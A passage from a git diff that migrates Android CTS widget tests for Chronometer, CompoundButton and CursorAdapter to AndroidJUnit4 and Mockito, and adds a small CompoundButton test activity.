+        chronometer.setBase(100);
+        assertEquals(100, chronometer.getBase());
         assertNotSame(oldText, chronometer.getText());
 
-        expected = -1;
         oldText = chronometer.getText();
-        chronometer.setBase(expected);
-        assertEquals(expected, chronometer.getBase());
+        chronometer.setBase(-1);
+        assertEquals(-1, chronometer.getBase());
         assertNotSame(oldText, chronometer.getText());
 
-        expected = Integer.MAX_VALUE;
         oldText = chronometer.getText();
-        chronometer.setBase(expected);
-        assertEquals(expected, chronometer.getBase());
+        chronometer.setBase(Integer.MAX_VALUE);
+        assertEquals(Integer.MAX_VALUE, chronometer.getBase());
         assertNotSame(oldText, chronometer.getText());
     }
 
     @UiThreadTest
+    @Test
     public void testAccessFormat() {
         Chronometer chronometer = mActivity.getChronometer();
         String expected = "header-%S-trail";
@@ -89,79 +128,100 @@
         assertTrue(text.endsWith("trail"));
     }
 
-    public void testFoo() {
-        // Do not test these APIs. They are callbacks which:
-        // 1. The callback machanism has been tested in super class
-        // 2. The functionality is implmentation details, no need to test
-    }
-
+    @Test
+    @LargeTest
     public void testStartAndStop() throws Throwable {
         final Chronometer chronometer = mActivity.getChronometer();
 
         // we will check the text is really updated every 1000ms after start,
         // so we need sleep a moment to wait wait this time. The sleep code shouldn't
-        // in the same thread with UI, that's why we use runOnMainSync here.
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                // the text will update immediately when call start.
-                CharSequence expected = chronometer.getText();
-                chronometer.start();
-                assertNotSame(expected, chronometer.getText());
-            }
+        // in the same thread with UI, that's why we use runOnUiThread here.
+        mActivityRule.runOnUiThread(() -> {
+            // the text will update immediately when call start.
+            final CharSequence valueBeforeStart = chronometer.getText();
+            chronometer.start();
+            assertNotSame(valueBeforeStart, chronometer.getText());
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
+
         CharSequence expected = chronometer.getText();
-        Thread.sleep(1500);
+        SystemClock.sleep(1500);
         assertFalse(expected.equals(chronometer.getText()));
 
         // we will check the text is really NOT updated anymore every 1000ms after stop,
         // so we need sleep a moment to wait wait this time. The sleep code shouldn't
-        // in the same thread with UI, that's why we use runOnMainSync here.
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                // the text will never be updated when call stop.
-                CharSequence expected = chronometer.getText();
-                chronometer.stop();
-                assertSame(expected, chronometer.getText());
-            }
+        // in the same thread with UI, that's why we use runOnUiThread here.
+        mActivityRule.runOnUiThread(() -> {
+            // the text will never be updated when call stop.
+            final CharSequence valueBeforeStop = chronometer.getText();
+            chronometer.stop();
+            assertSame(valueBeforeStop, chronometer.getText());
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
+
         expected = chronometer.getText();
-        Thread.sleep(1500);
+        SystemClock.sleep(1500);
         assertTrue(expected.equals(chronometer.getText()));
     }
 
+    @Test
+    @LargeTest
     public void testAccessOnChronometerTickListener() throws Throwable {
         final Chronometer chronometer = mActivity.getChronometer();
-        final MockOnChronometerTickListener listener = new MockOnChronometerTickListener();
+        final Chronometer.OnChronometerTickListener mockTickListener =
+                mock(Chronometer.OnChronometerTickListener.class);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                chronometer.setOnChronometerTickListener(listener);
-                chronometer.start();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            chronometer.setOnChronometerTickListener(mockTickListener);
+            chronometer.start();
         });
-        getInstrumentation().waitForIdleSync();
-        assertEquals(listener, chronometer.getOnChronometerTickListener());
-        assertTrue(listener.hasCalledOnChronometerTick());
-        listener.reset();
-        Thread.sleep(1500);
-        assertTrue(listener.hasCalledOnChronometerTick());
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(mockTickListener, chronometer.getOnChronometerTickListener());
+        verify(mockTickListener, atLeastOnce()).onChronometerTick(chronometer);
+
+        reset(mockTickListener);
+        SystemClock.sleep(1500);
+        verify(mockTickListener, atLeastOnce()).onChronometerTick(chronometer);
     }
 
-    private static class MockOnChronometerTickListener implements OnChronometerTickListener {
-        private boolean mCalledOnChronometerTick = false;
+    @Test
+    @LargeTest
+    public void testCountDown() throws Throwable {
+        final Chronometer chronometer = mActivity.getChronometer();
+        final Chronometer.OnChronometerTickListener mockTickListener =
+                mock(Chronometer.OnChronometerTickListener.class);
 
-        public void onChronometerTick(Chronometer chronometer) {
-            mCalledOnChronometerTick = true;
-        }
+        mActivityRule.runOnUiThread(() -> {
+            chronometer.setCountDown(true);
+            chronometer.setOnChronometerTickListener(mockTickListener);
+            chronometer.start();
+        });
+        mInstrumentation.waitForIdleSync();
 
-        public boolean hasCalledOnChronometerTick() {
-            return mCalledOnChronometerTick;
-        }
+        assertTrue(chronometer.isCountDown());
 
-        public void reset() {
-            mCalledOnChronometerTick = false;
-        }
+        SystemClock.sleep(5000);
+        verify(mockTickListener, atLeastOnce()).onChronometerTick(chronometer);
+    }
+
+    @Test
+    @LargeTest
+    public void testCountUp() throws Throwable {
+        final Chronometer chronometer = mActivity.getChronometer();
+        final Chronometer.OnChronometerTickListener mockTickListener =
+                mock(Chronometer.OnChronometerTickListener.class);
+
+        mActivityRule.runOnUiThread(() -> {
+            chronometer.setCountDown(false);
+            chronometer.setOnChronometerTickListener(mockTickListener);
+            chronometer.start();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertFalse(chronometer.isCountDown());
+
+        SystemClock.sleep(5000);
+        verify(mockTickListener, atLeastOnce()).onChronometerTick(chronometer);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/CompoundButtonCtsActivity.java b/tests/tests/widget/src/android/widget/cts/CompoundButtonCtsActivity.java
new file mode 100644
index 0000000..166c581
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/CompoundButtonCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.CompoundButton;
+
+/**
+ * A minimal application for {@link CompoundButton} test.
+ */
+public class CompoundButtonCtsActivity extends Activity {
+    /**
+     * Called when the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.compoundbutton_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java b/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
index 34d94a5..b81b37c 100644
--- a/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
@@ -16,163 +16,186 @@
 
 package android.widget.cts;
 
-import android.content.res.ColorStateList;
-import android.graphics.Color;
-import android.graphics.ColorFilter;
-import android.graphics.PorterDuff;
-import android.view.LayoutInflater;
-import android.widget.ToggleButton;
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
-
-import org.xmlpull.v1.XmlPullParser;
-
+import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.Context;
-import android.content.res.Resources;
+import android.content.res.ColorStateList;
 import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.PorterDuff;
 import android.graphics.Rect;
+import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.Parcelable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.util.Xml;
 import android.view.Gravity;
 import android.view.View;
-import android.view.View.OnClickListener;
 import android.widget.CompoundButton;
-import android.widget.CompoundButton.OnCheckedChangeListener;
+import android.widget.cts.util.TestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
 
 /**
  * Test {@link CompoundButton}.
  */
-public class CompoundButtonTest extends AndroidTestCase {
-    private Resources mResources;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CompoundButtonTest  {
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private CompoundButton mCompoundButton;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
+    @Rule
+    public ActivityTestRule<CompoundButtonCtsActivity> mActivityRule =
+            new ActivityTestRule<>(CompoundButtonCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mCompoundButton = (CompoundButton) mActivity.findViewById(R.id.compound_button);
     }
 
+    @Test
     public void testConstructor() {
-        XmlPullParser parser = mContext.getResources().getXml(R.layout.togglebutton_layout);
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.compoundbutton_layout);
         AttributeSet mAttrSet = Xml.asAttributeSet(parser);
 
-        new MockCompoundButton(mContext, mAttrSet, 0);
-        new MockCompoundButton(mContext, mAttrSet);
-        new MockCompoundButton(mContext);
-
-        try {
-            new MockCompoundButton(null, null, -1);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new MockCompoundButton(null, null);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new MockCompoundButton(null);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        new MockCompoundButton(mActivity, mAttrSet, 0);
+        new MockCompoundButton(mActivity, mAttrSet);
+        new MockCompoundButton(mActivity);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new MockCompoundButton(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        new MockCompoundButton(null, null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        new MockCompoundButton(null, null, -1);
+    }
+
+    @UiThreadTest
+    @Test
     public void testAccessChecked() {
-        CompoundButton compoundButton = new MockCompoundButton(mContext);
-        MockOnCheckedChangeListener listener = new MockOnCheckedChangeListener();
-        compoundButton.setOnCheckedChangeListener(listener);
-        assertFalse(compoundButton.isChecked());
-        assertFalse(listener.hasCalledCheckedChange());
+        CompoundButton.OnCheckedChangeListener mockCheckedChangeListener =
+                mock(CompoundButton.OnCheckedChangeListener.class);
+        mCompoundButton.setOnCheckedChangeListener(mockCheckedChangeListener);
+        assertFalse(mCompoundButton.isChecked());
+        verifyZeroInteractions(mockCheckedChangeListener);
 
-        compoundButton.setChecked(true);
-        assertTrue(compoundButton.isChecked());
-        assertTrue(listener.hasCalledCheckedChange());
-        assertSame(compoundButton, listener.getInputCompoundButton());
-        assertTrue(listener.getInputChecked());
+        mCompoundButton.setChecked(true);
+        assertTrue(mCompoundButton.isChecked());
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCompoundButton, true);
 
-        listener.reset();
-        compoundButton.setChecked(true);
-        assertTrue(compoundButton.isChecked());
-        assertFalse(listener.hasCalledCheckedChange());
+        reset(mockCheckedChangeListener);
+        mCompoundButton.setChecked(true);
+        assertTrue(mCompoundButton.isChecked());
+        verifyZeroInteractions(mockCheckedChangeListener);
 
-        compoundButton.setChecked(false);
-        assertFalse(compoundButton.isChecked());
-        assertTrue(listener.hasCalledCheckedChange());
-        assertSame(compoundButton, listener.getInputCompoundButton());
-        assertFalse(listener.getInputChecked());
+        mCompoundButton.setChecked(false);
+        assertFalse(mCompoundButton.isChecked());
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCompoundButton, false);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetOnCheckedChangeListener() {
-        CompoundButton compoundButton = new MockCompoundButton(mContext);
-        MockOnCheckedChangeListener listener = new MockOnCheckedChangeListener();
-        compoundButton.setOnCheckedChangeListener(listener);
-        assertFalse(compoundButton.isChecked());
-        assertFalse(listener.hasCalledCheckedChange());
+        CompoundButton.OnCheckedChangeListener mockCheckedChangeListener =
+                mock(CompoundButton.OnCheckedChangeListener.class);
+        mCompoundButton.setOnCheckedChangeListener(mockCheckedChangeListener);
+        assertFalse(mCompoundButton.isChecked());
+        verifyZeroInteractions(mockCheckedChangeListener);
 
-        compoundButton.setChecked(true);
-        assertTrue(listener.hasCalledCheckedChange());
+        mCompoundButton.setChecked(true);
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mCompoundButton, true);
 
         // set null
-        compoundButton.setOnCheckedChangeListener(null);
-        listener.reset();
-        compoundButton.setChecked(false);
-        assertFalse(listener.hasCalledCheckedChange());
+        mCompoundButton.setOnCheckedChangeListener(null);
+        reset(mockCheckedChangeListener);
+        mCompoundButton.setChecked(false);
+        verifyZeroInteractions(mockCheckedChangeListener);
     }
 
+    @UiThreadTest
+    @Test
     public void testToggle() {
-        CompoundButton compoundButton = new MockCompoundButton(mContext);
-        assertFalse(compoundButton.isChecked());
+        assertFalse(mCompoundButton.isChecked());
 
-        compoundButton.toggle();
-        assertTrue(compoundButton.isChecked());
+        mCompoundButton.toggle();
+        assertTrue(mCompoundButton.isChecked());
 
-        compoundButton.toggle();
-        assertFalse(compoundButton.isChecked());
+        mCompoundButton.toggle();
+        assertFalse(mCompoundButton.isChecked());
 
-        compoundButton.setChecked(true);
-        compoundButton.toggle();
-        assertFalse(compoundButton.isChecked());
+        mCompoundButton.setChecked(true);
+        mCompoundButton.toggle();
+        assertFalse(mCompoundButton.isChecked());
     }
 
+    @UiThreadTest
+    @Test
     public void testPerformClick() {
-        CompoundButton compoundButton = new MockCompoundButton(mContext);
-        assertFalse(compoundButton.isChecked());
+        assertFalse(mCompoundButton.isChecked());
 
         // performClick without OnClickListener will return false.
-        assertFalse(compoundButton.performClick());
-        assertTrue(compoundButton.isChecked());
+        assertFalse(mCompoundButton.performClick());
+        assertTrue(mCompoundButton.isChecked());
 
-        assertFalse(compoundButton.performClick());
-        assertFalse(compoundButton.isChecked());
+        assertFalse(mCompoundButton.performClick());
+        assertFalse(mCompoundButton.isChecked());
 
         // performClick with OnClickListener will return true.
-        compoundButton.setOnClickListener(new OnClickListener() {
-            public void onClick(View v) {
-            }
-        });
-        assertTrue(compoundButton.performClick());
-        assertTrue(compoundButton.isChecked());
+        mCompoundButton.setOnClickListener((view) -> {});
+        assertTrue(mCompoundButton.performClick());
+        assertTrue(mCompoundButton.isChecked());
 
-        assertTrue(compoundButton.performClick());
-        assertFalse(compoundButton.isChecked());
+        assertTrue(mCompoundButton.performClick());
+        assertFalse(mCompoundButton.isChecked());
     }
 
+    @UiThreadTest
+    @Test
     public void testDrawableStateChanged() {
-        MockCompoundButton compoundButton = new MockCompoundButton(mContext);
+        MockCompoundButton compoundButton = new MockCompoundButton(mActivity);
         assertFalse(compoundButton.isChecked());
         // drawableStateChanged without any drawables.
         compoundButton.drawableStateChanged();
 
         // drawableStateChanged when CheckMarkDrawable is not null.
-        Drawable drawable = mResources.getDrawable(R.drawable.statelistdrawable);
+        Drawable drawable = mActivity.getDrawable(R.drawable.statelistdrawable);
         compoundButton.setButtonDrawable(drawable);
         drawable.setState(null);
         assertNull(drawable.getState());
@@ -182,60 +205,56 @@
         assertSame(compoundButton.getDrawableState(), drawable.getState());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetButtonDrawableByDrawable() {
-        CompoundButton compoundButton;
-
         // set null drawable
-        compoundButton = new MockCompoundButton(mContext);
-        compoundButton.setButtonDrawable(null);
-        assertNull(compoundButton.getButtonDrawable());
+        mCompoundButton.setButtonDrawable(null);
+        assertNull(mCompoundButton.getButtonDrawable());
 
-        // set drawable when checkedTextView is GONE
-        compoundButton = new MockCompoundButton(mContext);
-        compoundButton.setVisibility(View.GONE);
-        Drawable firstDrawable = mResources.getDrawable(R.drawable.scenery);
+        // set drawable when button is GONE
+        mCompoundButton.setVisibility(View.GONE);
+        Drawable firstDrawable = mActivity.getDrawable(R.drawable.scenery);
         firstDrawable.setVisible(true, false);
         assertEquals(StateSet.WILD_CARD, firstDrawable.getState());
 
-        compoundButton.setButtonDrawable(firstDrawable);
-        assertSame(firstDrawable, compoundButton.getButtonDrawable());
+        mCompoundButton.setButtonDrawable(firstDrawable);
+        assertSame(firstDrawable, mCompoundButton.getButtonDrawable());
         assertFalse(firstDrawable.isVisible());
 
-        // update drawable when checkedTextView is VISIBLE
-        compoundButton.setVisibility(View.VISIBLE);
-        Drawable secondDrawable = mResources.getDrawable(R.drawable.pass);
+        // update drawable when button is VISIBLE
+        mCompoundButton.setVisibility(View.VISIBLE);
+        Drawable secondDrawable = mActivity.getDrawable(R.drawable.pass);
         secondDrawable.setVisible(true, false);
         assertEquals(StateSet.WILD_CARD, secondDrawable.getState());
 
-        compoundButton.setButtonDrawable(secondDrawable);
-        assertSame(secondDrawable, compoundButton.getButtonDrawable());
+        mCompoundButton.setButtonDrawable(secondDrawable);
+        assertSame(secondDrawable, mCompoundButton.getButtonDrawable());
         assertTrue(secondDrawable.isVisible());
         // the firstDrawable is not active.
         assertFalse(firstDrawable.isVisible());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetButtonDrawableById() {
-        CompoundButton compoundButton;
         // resId is 0
-        compoundButton = new MockCompoundButton(mContext);
-        compoundButton.setButtonDrawable(0);
+        mCompoundButton.setButtonDrawable(0);
 
         // set drawable
-        compoundButton = new MockCompoundButton(mContext);
-        compoundButton.setButtonDrawable(R.drawable.scenery);
+        mCompoundButton.setButtonDrawable(R.drawable.scenery);
 
         // set the same drawable again
-        compoundButton.setButtonDrawable(R.drawable.scenery);
+        mCompoundButton.setButtonDrawable(R.drawable.scenery);
 
         // update drawable
-        compoundButton.setButtonDrawable(R.drawable.pass);
+        mCompoundButton.setButtonDrawable(R.drawable.pass);
     }
 
+    @Test
     public void testOnCreateDrawableState() {
-        MockCompoundButton compoundButton;
-
         // compoundButton is not checked, append 0 to state array.
-        compoundButton = new MockCompoundButton(mContext);
+        MockCompoundButton compoundButton = new MockCompoundButton(mActivity);
         int[] state = compoundButton.onCreateDrawableState(0);
         assertEquals(0, state[state.length - 1]);
 
@@ -252,6 +271,7 @@
         assertEquals(0, state[state.length - 1]);
     }
 
+    @Test
     public void testOnDraw() {
         int viewHeight;
         int drawableWidth;
@@ -263,12 +283,12 @@
         MockCompoundButton compoundButton;
 
         // onDraw when there is no drawable
-        compoundButton = new MockCompoundButton(mContext);
+        compoundButton = new MockCompoundButton(mActivity);
         compoundButton.onDraw(canvas);
 
         // onDraw when Gravity.TOP, it's default.
-        compoundButton = new MockCompoundButton(mContext);
-        drawable = mResources.getDrawable(R.drawable.scenery);
+        compoundButton = new MockCompoundButton(mActivity);
+        drawable = mActivity.getDrawable(R.drawable.scenery);
         compoundButton.setButtonDrawable(drawable);
         viewHeight = compoundButton.getHeight();
         drawableWidth = drawable.getIntrinsicWidth();
@@ -300,27 +320,29 @@
         assertEquals( (viewHeight - drawableHeight) / 2 + drawableHeight, bounds.bottom);
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessInstanceState() {
-        CompoundButton compoundButton = new MockCompoundButton(mContext);
         Parcelable state;
 
-        assertFalse(compoundButton.isChecked());
-        assertFalse(compoundButton.getFreezesText());
+        assertFalse(mCompoundButton.isChecked());
+        assertFalse(mCompoundButton.getFreezesText());
 
-        state = compoundButton.onSaveInstanceState();
+        state = mCompoundButton.onSaveInstanceState();
         assertNotNull(state);
-        assertFalse(compoundButton.getFreezesText());
+        assertFalse(mCompoundButton.getFreezesText());
 
-        compoundButton.setChecked(true);
+        mCompoundButton.setChecked(true);
 
-        compoundButton.onRestoreInstanceState(state);
-        assertFalse(compoundButton.isChecked());
-        assertTrue(compoundButton.isLayoutRequested());
+        mCompoundButton.onRestoreInstanceState(state);
+        assertFalse(mCompoundButton.isChecked());
+        assertTrue(mCompoundButton.isLayoutRequested());
     }
 
+    @Test
     public void testVerifyDrawable() {
-        MockCompoundButton compoundButton = new MockCompoundButton(mContext);
-        Drawable drawable = mContext.getResources().getDrawable(R.drawable.scenery);
+        MockCompoundButton compoundButton = new MockCompoundButton(mActivity);
+        Drawable drawable = mActivity.getDrawable(R.drawable.scenery);
 
         assertTrue(compoundButton.verifyDrawable(null));
         assertFalse(compoundButton.verifyDrawable(drawable));
@@ -330,66 +352,34 @@
         assertTrue(compoundButton.verifyDrawable(drawable));
     }
 
+    @UiThreadTest
+    @Test
     public void testButtonTint() {
-        LayoutInflater inflater = LayoutInflater.from(mContext);
-        View layout = inflater.inflate(R.layout.togglebutton_layout, null);
-        CompoundButton inflatedView = (CompoundButton) layout.findViewById(R.id.button_tint);
+        CompoundButton tintedButton = (CompoundButton) mActivity.findViewById(R.id.button_tint);
 
         assertEquals("Button tint inflated correctly",
-                Color.WHITE, inflatedView.getButtonTintList().getDefaultColor());
+                Color.WHITE, tintedButton.getButtonTintList().getDefaultColor());
         assertEquals("Button tint mode inflated correctly",
-                PorterDuff.Mode.SRC_OVER, inflatedView.getButtonTintMode());
+                PorterDuff.Mode.SRC_OVER, tintedButton.getButtonTintMode());
 
-        MockDrawable button = new MockDrawable();
-        CompoundButton view = new ToggleButton(mContext);
+        Drawable mockDrawable = spy(new ColorDrawable(Color.GREEN));
 
-        view.setButtonDrawable(button);
-        assertFalse("No button tint applied by default", button.hasCalledSetTint());
+        mCompoundButton.setButtonDrawable(mockDrawable);
+        // No button tint applied by default
+        verify(mockDrawable, never()).setTintList(any(ColorStateList.class));
 
-        view.setButtonTintList(ColorStateList.valueOf(Color.WHITE));
-        assertTrue("Button tint applied when setButtonTintList() called after setButton()",
-                button.hasCalledSetTint());
+        mCompoundButton.setButtonTintList(ColorStateList.valueOf(Color.WHITE));
+        // Button tint applied when setButtonTintList() called after setButton()
+        verify(mockDrawable, times(1)).setTintList(TestUtils.colorStateListOf(Color.WHITE));
 
-        button.reset();
-        view.setButtonDrawable(null);
-        view.setButtonDrawable(button);
-        assertTrue("Button tint applied when setButtonTintList() called before setButton()",
-                button.hasCalledSetTint());
+        reset(mockDrawable);
+        mCompoundButton.setButtonDrawable(null);
+        mCompoundButton.setButtonDrawable(mockDrawable);
+        // Button tint applied when setButtonTintList() called before setButton()
+        verify(mockDrawable, times(1)).setTintList(TestUtils.colorStateListOf(Color.WHITE));
     }
 
-    private static class MockDrawable extends Drawable {
-        private boolean mCalledSetTint = false;
-
-        @Override
-        public void draw(Canvas canvas) {}
-
-        @Override
-        public void setAlpha(int alpha) {}
-
-        @Override
-        public void setColorFilter(ColorFilter cf) {}
-
-        @Override
-        public void setTintList(ColorStateList tint) {
-            super.setTintList(tint);
-            mCalledSetTint = true;
-        }
-
-        @Override
-        public int getOpacity() {
-            return 0;
-        }
-
-        public boolean hasCalledSetTint() {
-            return mCalledSetTint;
-        }
-
-        public void reset() {
-            mCalledSetTint = false;
-        }
-    }
-
-    private final class MockCompoundButton extends CompoundButton {
+    public static final class MockCompoundButton extends CompoundButton {
         public MockCompoundButton(Context context) {
             super(context);
         }
@@ -422,34 +412,4 @@
             return super.verifyDrawable(who);
         }
     }
-
-    private final class MockOnCheckedChangeListener implements OnCheckedChangeListener {
-        private boolean mHasCalledChecked;
-        private CompoundButton mCompoundButton;
-        private boolean mIsChecked;
-
-        public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
-            mHasCalledChecked = true;
-            mCompoundButton = buttonView;
-            mIsChecked = isChecked;
-        }
-
-        public boolean getInputChecked() {
-            return mIsChecked;
-        }
-
-        public CompoundButton getInputCompoundButton() {
-            return mCompoundButton;
-        }
-
-        public boolean hasCalledCheckedChange() {
-            return mHasCalledChecked;
-        }
-
-        public void reset() {
-            mHasCalledChecked = false;
-            mCompoundButton = null;
-            mIsChecked = false;
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java b/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java
index 0e6fb4d..ff36bbd 100644
--- a/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CursorAdapterTest.java
@@ -16,19 +16,25 @@
 
 package android.widget.cts;
 
-import java.io.File;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.Context;
 import android.content.res.Resources.Theme;
-import android.cts.util.PollingCheck;
-import android.cts.util.TestThread;
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.database.DataSetObserver;
 import android.database.sqlite.SQLiteDatabase;
 import android.os.Looper;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
@@ -37,12 +43,22 @@
 import android.widget.FilterQueryProvider;
 import android.widget.TextView;
 
-import android.widget.cts.R;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.TestThread;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
 
 /**
  * Test {@link CursorAdapter}.
  */
-public class CursorAdapterTest extends InstrumentationTestCase {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class CursorAdapterTest {
     private static final long TEST_TIME_OUT = 5000;
     private static final int NUMBER_INDEX = 1;
     private static final String FIRST_NUMBER = "123";
@@ -60,10 +76,9 @@
     private MockCursorAdapter mMockCursorAdapter;
     private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         File dbDir = mContext.getDir("tests", Context.MODE_PRIVATE);
         mDatabaseFile = new File(dbDir, "database_test.db");
         if (mDatabaseFile.exists()) {
@@ -82,18 +97,18 @@
         assertNotNull(mParent);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void teardown() {
         if (null != mCursor) {
             mCursor.close();
             mCursor = null;
         }
         mDatabase.close();
         mDatabaseFile.delete();
-        super.tearDown();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new MockCursorAdapter(mContext, mCursor);
 
@@ -105,6 +120,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testInit() {
         MockCursorAdapter cursorAdapter = new MockCursorAdapter(null, null, false);
         cursorAdapter.init(null, null, false);
@@ -150,6 +166,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetCount() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, null);
         assertEquals(0, cursorAdapter.getCount());
@@ -159,6 +176,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessCursor() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, null);
         assertNull(cursorAdapter.getCursor());
@@ -171,6 +189,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testConvertToString() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, null);
         assertEquals("", cursorAdapter.convertToString(null));
@@ -179,6 +198,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testHasStableIds() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, mCursor);
         assertTrue(cursorAdapter.hasStableIds());
@@ -188,6 +208,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetView() {
         TextView textView = new TextView(mContext);
         textView.setText("getView test");
@@ -220,6 +241,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testNewDropDownView() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, mCursor);
         // null cursor
@@ -230,6 +252,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetDropDownView() {
         MockCursorAdapter cursorAdapter = new MockCursorAdapter(mContext, null);
         // null cursor
@@ -252,6 +275,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessDropDownViewTheme() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, null);
         Theme theme = mContext.getResources().newTheme();
@@ -260,6 +284,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetFilter() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, mCursor);
         Filter filter = cursorAdapter.getFilter();
@@ -267,6 +292,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetItem() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, null);
         // cursor is null
@@ -285,6 +311,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetItemId() {
         CursorAdapter cursorAdapter = new MockCursorAdapter(mContext, null);
         // cursor is null
@@ -300,6 +327,7 @@
     }
 
